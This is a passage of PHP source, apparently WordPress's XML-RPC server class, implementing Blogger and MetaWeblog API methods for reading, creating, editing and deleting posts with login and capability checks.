	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	protected function _multisite_getUsersBlogs( $args ) {
		$current_blog = get_site();

		$domain = $current_blog->domain;
		$path   = $current_blog->path . 'xmlrpc.php';

		$blogs = $this->wp_getUsersBlogs( $args );
		if ( $blogs instanceof IXR_Error ) {
			return $blogs;
		}

		if ( $_SERVER['HTTP_HOST'] == $domain && $_SERVER['REQUEST_URI'] == $path ) {
			return $blogs;
		} else {
			foreach ( (array) $blogs as $blog ) {
				if ( str_contains( $blog['url'], $_SERVER['HTTP_HOST'] ) ) {
					return array( $blog );
				}
			}
			return array();
		}
	}

	/**
	 * Retrieves user's data.
	 *
	 * Gives your client some info about you, so you don't have to.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function blogger_getUserInfo( $args ) {
		$this->escape( $args );

		$username = $args[1];
		$password = $args[2];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to access user data on this site.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.getUserInfo', $args, $this );

		$struct = array(
			'nickname'  => $user->nickname,
			'userid'    => $user->ID,
			'url'       => $user->user_url,
			'lastname'  => $user->last_name,
			'firstname' => $user->first_name,
		);

		return $struct;
	}

	/**
	 * Retrieves a post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type int    $1 Post ID.
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 * }
	 * @return array|IXR_Error
	 */
	public function blogger_getPost( $args ) {
		$this->escape( $args );

		$post_id  = (int) $args[1];
		$username = $args[2];
		$password = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		$post_data = get_post( $post_id, ARRAY_A );
		if ( ! $post_data ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.getPost', $args, $this );

		$categories = implode( ',', wp_get_post_categories( $post_id ) );

		$content  = '<title>' . wp_unslash( $post_data['post_title'] ) . '</title>';
		$content .= '<category>' . $categories . '</category>';
		$content .= wp_unslash( $post_data['post_content'] );

		$struct = array(
			'userid'      => $post_data['post_author'],
			'dateCreated' => $this->_convert_date( $post_data['post_date'] ),
			'content'     => $content,
			'postid'      => (string) $post_data['ID'],
		);

		return $struct;
	}

	/**
	 * Retrieves the list of recent posts.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type string $0 App key (unused).
	 *     @type int    $1 Blog ID (unused).
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 *     @type int    $4 Optional. Number of posts.
	 * }
	 * @return array|IXR_Error
	 */
	public function blogger_getRecentPosts( $args ) {

		$this->escape( $args );

		// $args[0] = appkey - ignored.
		$username = $args[2];
		$password = $args[3];
		if ( isset( $args[4] ) ) {
			$query = array( 'numberposts' => absint( $args[4] ) );
		} else {
			$query = array();
		}

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.getRecentPosts', $args, $this );

		$posts_list = wp_get_recent_posts( $query );

		if ( ! $posts_list ) {
			$this->error = new IXR_Error( 500, __( 'Either there are no posts, or something went wrong.' ) );
			return $this->error;
		}

		$recent_posts = array();
		foreach ( $posts_list as $entry ) {
			if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) {
				continue;
			}

			$post_date  = $this->_convert_date( $entry['post_date'] );
			$categories = implode( ',', wp_get_post_categories( $entry['ID'] ) );

			$content  = '<title>' . wp_unslash( $entry['post_title'] ) . '</title>';
			$content .= '<category>' . $categories . '</category>';
			$content .= wp_unslash( $entry['post_content'] );

			$recent_posts[] = array(
				'userid'      => $entry['post_author'],
				'dateCreated' => $post_date,
				'content'     => $content,
				'postid'      => (string) $entry['ID'],
			);
		}

		return $recent_posts;
	}

	/**
	 * Deprecated.
	 *
	 * @since 1.5.0
	 * @deprecated 3.5.0
	 *
	 * @param array $args Unused.
	 * @return IXR_Error Error object.
	 */
	public function blogger_getTemplate( $args ) {
		return new IXR_Error( 403, __( 'Sorry, this method is not supported.' ) );
	}

	/**
	 * Deprecated.
	 *
	 * @since 1.5.0
	 * @deprecated 3.5.0
	 *
	 * @param array $args Unused.
	 * @return IXR_Error Error object.
	 */
	public function blogger_setTemplate( $args ) {
		return new IXR_Error( 403, __( 'Sorry, this method is not supported.' ) );
	}

	/**
	 * Creates a new post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type string $0 App key (unused).
	 *     @type int    $1 Blog ID (unused).
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 *     @type string $4 Content.
	 *     @type int    $5 Publish flag. 0 for draft, 1 for publish.
	 * }
	 * @return int|IXR_Error
	 */
	public function blogger_newPost( $args ) {
		$this->escape( $args );

		$username = $args[2];
		$password = $args[3];
		$content  = $args[4];
		$publish  = $args[5];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.newPost', $args, $this );

		$cap = ( $publish ) ? 'publish_posts' : 'edit_posts';
		if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) || ! current_user_can( $cap ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) );
		}

		$post_status = ( $publish ) ? 'publish' : 'draft';

		$post_author = $user->ID;

		$post_title    = xmlrpc_getposttitle( $content );
		$post_category = xmlrpc_getpostcategory( $content );
		$post_content  = xmlrpc_removepostdata( $content );

		$post_date     = current_time( 'mysql' );
		$post_date_gmt = current_time( 'mysql', 1 );

		$post_data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status' );

		$post_id = wp_insert_post( $post_data );
		if ( is_wp_error( $post_id ) ) {
			return new IXR_Error( 500, $post_id->get_error_message() );
		}

		if ( ! $post_id ) {
			return new IXR_Error( 500, __( 'Sorry, the post could not be created.' ) );
		}

		$this->attach_uploads( $post_id, $post_content );

		/**
		 * Fires after a new post has been successfully created via the XML-RPC Blogger API.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $post_id ID of the new post.
		 * @param array $args    An array of new post arguments.
		 */
		do_action( 'xmlrpc_call_success_blogger_newPost', $post_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return $post_id;
	}

	/**
	 * Edits a post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type int    $1 Post ID.
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 *     @type string $4 Content
	 *     @type int    $5 Publish flag. 0 for draft, 1 for publish.
	 * }
	 * @return true|IXR_Error true when done.
	 */
	public function blogger_editPost( $args ) {

		$this->escape( $args );

		$post_id  = (int) $args[1];
		$username = $args[2];
		$password = $args[3];
		$content  = $args[4];
		$publish  = $args[5];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.editPost', $args, $this );

		$actual_post = get_post( $post_id, ARRAY_A );

		if ( ! $actual_post || 'post' !== $actual_post['post_type'] ) {
			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
		}

		$this->escape( $actual_post );

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}
		if ( 'publish' === $actual_post['post_status'] && ! current_user_can( 'publish_posts' ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
		}

		$postdata                  = array();
		$postdata['ID']            = $actual_post['ID'];
		$postdata['post_content']  = xmlrpc_removepostdata( $content );
		$postdata['post_title']    = xmlrpc_getposttitle( $content );
		$postdata['post_category'] = xmlrpc_getpostcategory( $content );
		$postdata['post_status']   = $actual_post['post_status'];
		$postdata['post_excerpt']  = $actual_post['post_excerpt'];
		$postdata['post_status']   = $publish ? 'publish' : 'draft';

		$result = wp_update_post( $postdata );

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, the post could not be updated.' ) );
		}
		$this->attach_uploads( $actual_post['ID'], $postdata['post_content'] );

		/**
		 * Fires after a post has been successfully updated via the XML-RPC Blogger API.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $post_id ID of the updated post.
		 * @param array $args    An array of arguments for the post to edit.
		 */
		do_action( 'xmlrpc_call_success_blogger_editPost', $post_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return true;
	}

	/**
	 * Deletes a post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type int    $1 Post ID.
	 *     @type string $2 Username.
	 *     @type string $3 Password.
	 * }
	 * @return true|IXR_Error True when post is deleted.
	 */
	public function blogger_deletePost( $args ) {
		$this->escape( $args );

		$post_id  = (int) $args[1];
		$username = $args[2];
		$password = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'blogger.deletePost', $args, $this );

		$actual_post = get_post( $post_id, ARRAY_A );

		if ( ! $actual_post || 'post' !== $actual_post['post_type'] ) {
			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
		}

		$result = wp_delete_post( $post_id );

		if ( ! $result ) {
			return new IXR_Error( 500, __( 'Sorry, the post could not be deleted.' ) );
		}

		/**
		 * Fires after a post has been successfully deleted via the XML-RPC Blogger API.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $post_id ID of the deleted post.
		 * @param array $args    An array of arguments to delete the post.
		 */
		do_action( 'xmlrpc_call_success_blogger_deletePost', $post_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return true;
	}

	/*
	 * MetaWeblog API functions.
	 * Specs on wherever Dave Winer wants them to be.
	 */

	/**
	 * Creates a new post.
	 *
	 * The 'content_struct' argument must contain:
	 *  - title
	 *  - description
	 *  - mt_excerpt
	 *  - mt_text_more
	 *  - mt_keywords
	 *  - mt_tb_ping_urls
	 *  - categories
	 *
	 * Also, it can optionally contain:
	 *  - wp_slug
	 *  - wp_password
	 *  - wp_page_parent_id
	 *  - wp_page_order
	 *  - wp_author_id
	 *  - post_status | page_status - can be 'draft', 'private', 'publish', or 'pending'
	 *  - mt_allow_comments - can be 'open' or 'closed'
	 *  - mt_allow_pings - can be 'open' or 'closed'
	 *  - date_created_gmt
	 *  - dateCreated
	 *  - wp_post_thumbnail
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Content structure.
	 *     @type int    $4 Optional. Publish flag. 0 for draft, 1 for publish. Default 0.
	 * }
	 * @return int|IXR_Error
	 */
	public function mw_newPost( $args ) {
		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$content_struct = $args[3];
		$publish        = isset( $args[4] ) ? $args[4] : 0;

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'metaWeblog.newPost', $args, $this );

		$page_template = '';
		if ( ! empty( $content_struct['post_type'] ) ) {
			if ( 'page' === $content_struct['post_type'] ) {
				if ( $publish ) {
					$cap = 'publish_pages';
				} elseif ( isset( $content_struct['page_status'] ) && 'publish' === $content_struct['page_status'] ) {
					$cap = 'publish_pages';
				} else {
					$cap = 'edit_pages';
				}
				$error_message = __( 'Sorry, you are not allowed to publish pages on this site.' );
				$post_type     = 'page';
				if ( ! empty( $content_struct['wp_page_template'] ) ) {
					$page_template = $content_struct['wp_page_template'];
				}
			} elseif ( 'post' === $content_struct['post_type'] ) {
				if ( $publish ) {
					$cap = 'publish_posts';
				} elseif ( isset( $content_struct['post_status'] ) && 'publish' === $content_struct['post_status'] ) {
					$cap = 'publish_posts';
				} else {
					$cap = 'edit_posts';
				}
				$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
				$post_type     = 'post';
			} else {
				// No other 'post_type' values are allowed here.
				return new IXR_Error( 401, __( 'Invalid post type.' ) );
			}
		} else {
			if ( $publish ) {
				$cap = 'publish_posts';
			} elseif ( isset( $content_struct['post_status'] ) && 'publish' === $content_struct['post_status'] ) {
				$cap = 'publish_posts';
			} else {
				$cap = 'edit_posts';
			}
			$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
			$post_type     = 'post';
		}

		if ( ! current_user_can( get_post_type_object( $post_type )->cap->create_posts ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts on this site.' ) );
		}
		if ( ! current_user_can( $cap ) ) {
			return new IXR_Error( 401, $error_message );
		}

		// Check for a valid post format if one was given.
		if ( isset( $content_struct['wp_post_format'] ) ) {
			$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
			if ( ! array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
				return new IXR_Error( 404, __( 'Invalid post format.' ) );
			}
		}

		// Let WordPress generate the 'post_name' (slug) unless
		// one has been provided.
		$post_name = null;
		if ( isset( $content_struct['wp_slug'] ) ) {
			$post_name = $content_struct['wp_slug'];
		}

		// Only use a password if one was given.
		$post_password = '';
		if ( isset( $content_struct['wp_password'] ) ) {
			$post_password = $content_struct['wp_password'];
		}

		// Only set a post parent if one was given.
		$post_parent = 0;
		if ( isset( $content_struct['wp_page_parent_id'] ) ) {
			$post_parent = $content_struct['wp_page_parent_id'];
		}

		// Only set the 'menu_order' if it was given.
		$menu_order = 0;
		if ( isset( $content_struct['wp_page_order'] ) ) {
			$menu_order = $content_struct['wp_page_order'];
		}

		$post_author = $user->ID;

		// If an author id was provided then use it instead.
		if ( isset( $content_struct['wp_author_id'] ) && ( $user->ID != $content_struct['wp_author_id'] ) ) {
			switch ( $post_type ) {
				case 'post':
					if ( ! current_user_can( 'edit_others_posts' ) ) {
						return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) );
					}
					break;
				case 'page':
					if ( ! current_user_can( 'edit_others_pages' ) ) {
						return new IXR_Error( 401, __( 'Sorry, you are not allowed to create pages as this user.' ) );
					}
					break;
				default:
					return new IXR_Error( 401, __( 'Invalid post type.' ) );
			}
			$author = get_userdata( $content_struct['wp_author_id'] );
			if ( ! $author ) {
				return new IXR_Error( 404, __( 'Invalid author ID.' ) );
			}
			$post_author = $content_struct['wp_author_id'];
		}

		$post_title   = isset( $content_struct['title'] ) ? $content_struct['title'] : '';
		$post_content = isset( $content_struct['description'] ) ? $content_struct['description'] : '';

		$post_status = $publish ? 'publish' : 'draft';

		if ( isset( $content_struct[ "{$post_type}_status" ] ) ) {
			switch ( $content_struct[ "{$post_type}_status" ] ) {
				case 'draft':
				case 'pending':
				case 'private':
				case 'publish':
					$post_status = $content_struct[ "{$post_type}_status" ];
					break;
				default:
					// Deliberably left empty.
					break;
			}
		}

		$post_excerpt = isset( $content_struct['mt_excerpt'] ) ? $content_struct['mt_excerpt'] : '';
		$post_more    = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : '';

		$tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : array();

		if ( isset( $content_struct['mt_allow_comments'] ) ) {
			if ( ! is_numeric( $content_struct['mt_allow_comments'] ) ) {
				switch ( $content_struct['mt_allow_comments'] ) {
					case 'closed':
						$comment_status = 'closed';
						break;
					case 'open':
						$comment_status = 'open';
						break;
					default:
						$comment_status = get_default_comment_status( $post_type );
						break;
				}
			} else {
				switch ( (int) $content_struct['mt_allow_comments'] ) {
					case 0:
					case 2:
						$comment_status = 'closed';
						break;
					case 1:
						$comment_status = 'open';
						break;
					default:
						$comment_status = get_default_comment_status( $post_type );
						break;
				}
			}
		} else {
			$comment_status = get_default_comment_status( $post_type );
		}

		if ( isset( $content_struct['mt_allow_pings'] ) ) {
			if ( ! is_numeric( $content_struct['mt_allow_pings'] ) ) {
				switch ( $content_struct['mt_allow_pings'] ) {
					case 'closed':
						$ping_status = 'closed';
						break;
					case 'open':
						$ping_status = 'open';
						break;
					default:
						$ping_status = get_default_comment_status( $post_type, 'pingback' );
						break;
				}
			} else {
				switch ( (int) $content_struct['mt_allow_pings'] ) {
					case 0:
						$ping_status = 'closed';
						break;
					case 1:
						$ping_status = 'open';
						break;
					default:
						$ping_status = get_default_comment_status( $post_type, 'pingback' );
						break;
				}
			}
		} else {
			$ping_status = get_default_comment_status( $post_type, 'pingback' );
		}

		if ( $post_more ) {
			$post_content .= '<!--more-->' . $post_more;
		}

		$to_ping = '';
		if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
			$to_ping = $content_struct['mt_tb_ping_urls'];
			if ( is_array( $to_ping ) ) {
				$to_ping = implode( ' ', $to_ping );
			}
		}

		// Do some timestamp voodoo.
		if ( ! empty( $content_struct['date_created_gmt'] ) ) {
			// We know this is supposed to be GMT, so we're going to slap that Z on there by force.
			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
		} elseif ( ! empty( $content_struct['dateCreated'] ) ) {
			$dateCreated = $content_struct['dateCreated']->getIso();
		}

		$post_date     = '';
		$post_date_gmt = '';
		if ( ! empty( $dateCreated ) ) {
			$post_date     = iso8601_to_datetime( $dateCreated );
			$post_date_gmt = iso8601_to_datetime( $dateCreated, 'gmt' );
		}

		$post_category = array();
		if ( isset( $content_struct['categories'] ) ) {
			$catnames = $content_struct['categories'];

			if ( is_array( $catnames ) ) {
				foreach ( $catnames as $cat ) {
					$post_category[] = get_cat_ID( $cat );
				}
			}
		}

		$postdata = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template' );

		$post_id        = get_default_post_to_edit( $post_type, true )->ID;
		$postdata['ID'] = $post_id;

		// Only posts can be sticky.
		if ( 'post' === $post_type && isset( $content_struct['sticky'] ) ) {
			$data           = $postdata;
			$data['sticky'] = $content_struct['sticky'];
			$error          = $this->_toggle_sticky( $data );
			if ( $error ) {
				return $error;
			}
		}

		if ( isset( $content_struct['custom_fields'] ) ) {
			$this->set_custom_fields( $post_id, $content_struct['custom_fields'] );
		}

		if ( isset( $content_struct['wp_post_thumbnail'] ) ) {
			if ( set_post_thumbnail( $post_id, $content_struct['wp_post_thumbnail'] ) === false ) {
				return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
			}

			unset( $content_struct['wp_post_thumbnail'] );
		}

		// Handle enclosures.
		$thisEnclosure = isset( $content_struct['enclosure'] ) ? $content_struct['enclosure'] : null;
		$this->add_enclosure_if_new( $post_id, $thisEnclosure );

		$this->attach_uploads( $post_id, $post_content );

		/*
		 * Handle post formats if assigned, value is validated earlier
		 * in this function.
		 */
		if ( isset( $content_struct['wp_post_format'] ) ) {
			set_post_format( $post_id, $content_struct['wp_post_format'] );
		}

		$post_id = wp_insert_post( $postdata, true );
		if ( is_wp_error( $post_id ) ) {
			return new IXR_Error( 500, $post_id->get_error_message() );
		}

		if ( ! $post_id ) {
			return new IXR_Error( 500, __( 'Sorry, the post could not be created.' ) );
		}

		/**
		 * Fires after a new post has been successfully created via the XML-RPC MovableType API.
		 *
		 * @since 3.4.0
		 *
		 * @param int   $post_id ID of the new post.
		 * @param array $args    An array of arguments to create the new post.
		 */
		do_action( 'xmlrpc_call_success_mw_newPost', $post_id, $args ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase

		return (string) $post_id;
	}

	/**
	 * Adds an enclosure to a post if it's new.
	 *
	 * @since 2.8.0
	 *
	 * @param int   $post_id   Post ID.
	 * @param array $enclosure Enclosure data.
	 */
	public function add_enclosure_if_new( $post_id, $enclosure ) {
		if ( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) {
			$encstring  = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'] . "\n";
			$found      = false;
			$enclosures = get_post_meta( $post_id, 'enclosure' );
			if ( $enclosures ) {
				foreach ( $enclosures as $enc ) {
					// This method used to omit the trailing new line. #23219
					if ( rtrim( $enc, "\n" ) === rtrim( $encstring, "\n" ) ) {
						$found = true;
						break;
					}
				}
			}
			if ( ! $found ) {
				add_post_meta( $post_id, 'enclosure', $encstring );
			}
		}
	}

	/**
	 * Attaches an upload to a post.
	 *
	 * @since 2.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int    $post_id      Post ID.
	 * @param string $post_content Post Content for attachment.
	 */
	public function attach_uploads( $post_id, $post_content ) {
		global $wpdb;

		// Find any unattached files.
		$attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '0' AND post_type = 'attachment'" );
		if ( is_array( $attachments ) ) {
			foreach ( $attachments as $file ) {
				if ( ! empty( $file->guid ) && str_contains( $post_content, $file->guid ) ) {
					$wpdb->update( $wpdb->posts, array( 'post_parent' => $post_id ), array( 'ID' => $file->ID ) );
				}
			}
		}
	}

	/**
	 * Edits a post.
	 *
	 * @since 1.5.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type int    $0 Post ID.
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 Content structure.
	 *     @type int    $4 Optional. Publish flag. 0 for draft, 1 for publish. Default 0.
	 * }
	 * @return true|IXR_Error True on success.
	 */
	public function mw_editPost( $args ) {
		$this->escape( $args );

		$post_id        = (int) $args[0];
		$username       = $args[1];
		$password       = $args[2];
		$content_struct = $args[3];
		$publish        = isset( $args[4] ) ? $args[4] : 0;

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'metaWeblog.editPost', $args, $this );

		$postdata = get_post( $post_id, ARRAY_A );

		/*
		 * If there is no post data for the give post ID, stop now and return an error.
		 * Otherwise a new post will be created (which was the old behavior).
		 */
		if ( ! $postdata || empty( $postdata['ID'] ) ) {
			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
		}

		// Use wp.editPost to edit post types other than post and page.
		if ( ! in_array( $postdata['post_type'], array( 'post', 'page' ), true ) ) {
			return new IXR_Error( 401, __( 'Invalid post type.' ) );
		}

		// Thwart attempt to change the post type.
		if ( ! empty( $content_struct['post_type'] ) && ( $content_struct['post_type'] != $postdata['post_type'] ) ) {
			return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
		}

		// Check for a valid post format if one was given.
		if ( isset( $content_struct['wp_post_format'] ) ) {
			$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
			if ( ! array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
				return new IXR_Error( 404, __( 'Invalid post format.' ) );
			}
		}

		$this->escape( $postdata );

		$ID             = $postdata['ID'];
		$post_content   = $postdata['post_content'];
		$post_title     = $postdata['post_title'];
		$post_excerpt   = $postdata['post_excerpt'];
		$post_password  = $postdata['post_password'];
		$post_parent    = $postdata['post_parent'];
		$post_type      = $postdata['post_type'];
		$menu_order     = $postdata['menu_order'];
		$ping_status    = $postdata['ping_status'];
		$comment_status = $postdata['comment_status'];

		// Let WordPress manage slug if none was provided.
		$post_name = $postdata['post_name'];
		if ( isset( $content_struct['wp_slug'] ) ) {
			$post_name = $content_struct['wp_slug'];
		}

		// Only use a password if one was given.
		if ( isset( $content_struct['wp_password'] ) ) {
			$post_password = $content_struct['wp_password'];
		}

		// Only set a post parent if one was given.
		if ( isset( $content_struct['wp_page_parent_id'] ) ) {
			$post_parent = $content_struct['wp_page_parent_id'];
		}

		// Only set the 'menu_order' if it was given.
		if ( isset( $content_struct['wp_page_order'] ) ) {
			$menu_order = $content_struct['wp_page_order'];
		}

		$page_template = '';
		if ( ! empty( $content_struct['wp_page_template'] ) && 'page' === $post_type ) {
			$page_template = $content_struct['wp_page_template'];
		}

		$post_author = $postdata['post_author'];

		// If an author id was provided then use it instead.
		if ( isset( $content_struct['wp_author_id'] ) ) {
			// Check permissions if attempting to switch author to or from another user.
			if ( $user->ID != $content_struct['wp_author_id'] || $user->ID != $post_author ) {
				switch ( $post_type ) {
					case 'post':
						if ( ! current_user_can( 'edit_others_posts' ) ) {
							return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the post author as this user.' ) );
						}
						break;
					case 'page':
						if ( ! current_user_can( 'edit_others_pages' ) ) {
							return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the page author as this user.' ) );
						}
						break;
					default:
						return new IXR_Error( 401, __( 'Invalid post type.' ) );
				}
				$post_author = $content_struct['wp_author_id'];
			}
		}

		if ( isset( $content_struct['mt_allow_comments'] ) ) {
			if ( ! is_numeric( $content_struct['mt_allow_comments'] ) ) {
				switch ( $content_struct['mt_allow_comments'] ) {
					case 'closed':
						$comment_status = 'closed';
						break;
					case 'open':
						$comment_status = 'open';
						break;
					default:
						$comment_status = get_default_comment_status( $post_type );
						break;
				}
			} else {
				switch ( (int) $content_struct['mt_allow_comments'] ) {
					case 0:
					case 2:
						$comment_status = 'closed';
						break;
					case 1:
						$comment_status = 'open';
						break;
					default:
						$comment_status = get_default_comment_status( $post_type );
						break;
				}
			}
		}

		if ( isset( $content_struct['mt_allow_pings'] ) ) {
			if ( ! is_numeric( $content_struct['mt_allow_pings'] ) ) {
				switch ( $content_struct['mt_allow_pings'] ) {
					case 'closed':
						$ping_status = 'closed';
						break;
					case 'open':
						$ping_status = 'open';
						break;
					default:
						$ping_status = get_default_comment_status( $post_type, 'pingback' );
						break;
				}
			} else {
				switch ( (int) $content_struct['mt_allow_pings'] ) {
					case 0:
						$ping_status = 'closed';
						break;
					case 1:
						$ping_status = 'open';
						break;
					default:
						$ping_status = get_default_comment_status( $post_type, 'pingback' );
						break;
				}
			}
		}

		if ( isset( $content_struct['title'] ) ) {
			$post_title = $content_struct['title'];
		}

		if ( isset( $content_struct['description'] ) ) {
			$post_content = $content_struct['description'];
		}

		$post_category = array();
		if ( isset( $content_struct['categories'] ) ) {
			$catnames = $content_struct['categories'];
			if ( is_array( $catnames ) ) {
				foreach ( $catnames as $cat ) {
					$post_category[] = get_cat_ID( $cat );
				}
			}
		}

		if ( isset( $content_struct['mt_excerpt'] ) ) {
			$post_excerpt = $content_struct['mt_excerpt'];
		}

		$post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : '';

		$post_status = $publish ? 'publish' : 'draft';
		if ( isset( $content_struct[ "{$post_type}_status" ] ) ) {
			switch ( $content_struct[ "{$post_type}_status" ] ) {
				case 'draft':
				case 'pending':
				case 'private':
				case 'publish':
					$post_status = $content_struct[ "{$post_type}_status" ];
					break;
				default:
					$post_status = $publish ? 'publish' : 'draft';
					break;
			}
		}

		$tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : array();

		if ( 'publish' === $post_status || 'private' === $post_status ) {
			if ( 'page' === $post_type && ! current_user_can( 'publish_pages' ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this page.' ) );
			} elseif ( ! current_user_can( 'publish_posts' ) ) {
				return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
			}
		}

		if ( $post_more ) {
			$post_content = $post_content . '<!--more-->' . $post_more;
		}

		$to_ping = '';
		if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
			$to_ping = $content_struct['mt_tb_ping_urls'];
			if ( is_array( $to_ping ) ) {
				$to_ping = implode( ' ', $to_ping );
			}
		}

		// Do some timestamp voodoo.
		if ( ! empty( $content_struct['date_created_gmt'] ) ) {
			// We know this is supposed to be GMT, so we're going to slap that Z on there by force.
			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
		} elseif ( ! empty( $content_struct['dateCreated'] ) ) {
			$dateCreated = $content_struct['dateCreated']->getIso();
		}

		// Default to not flagging the post date to be edited unless it's intentional.
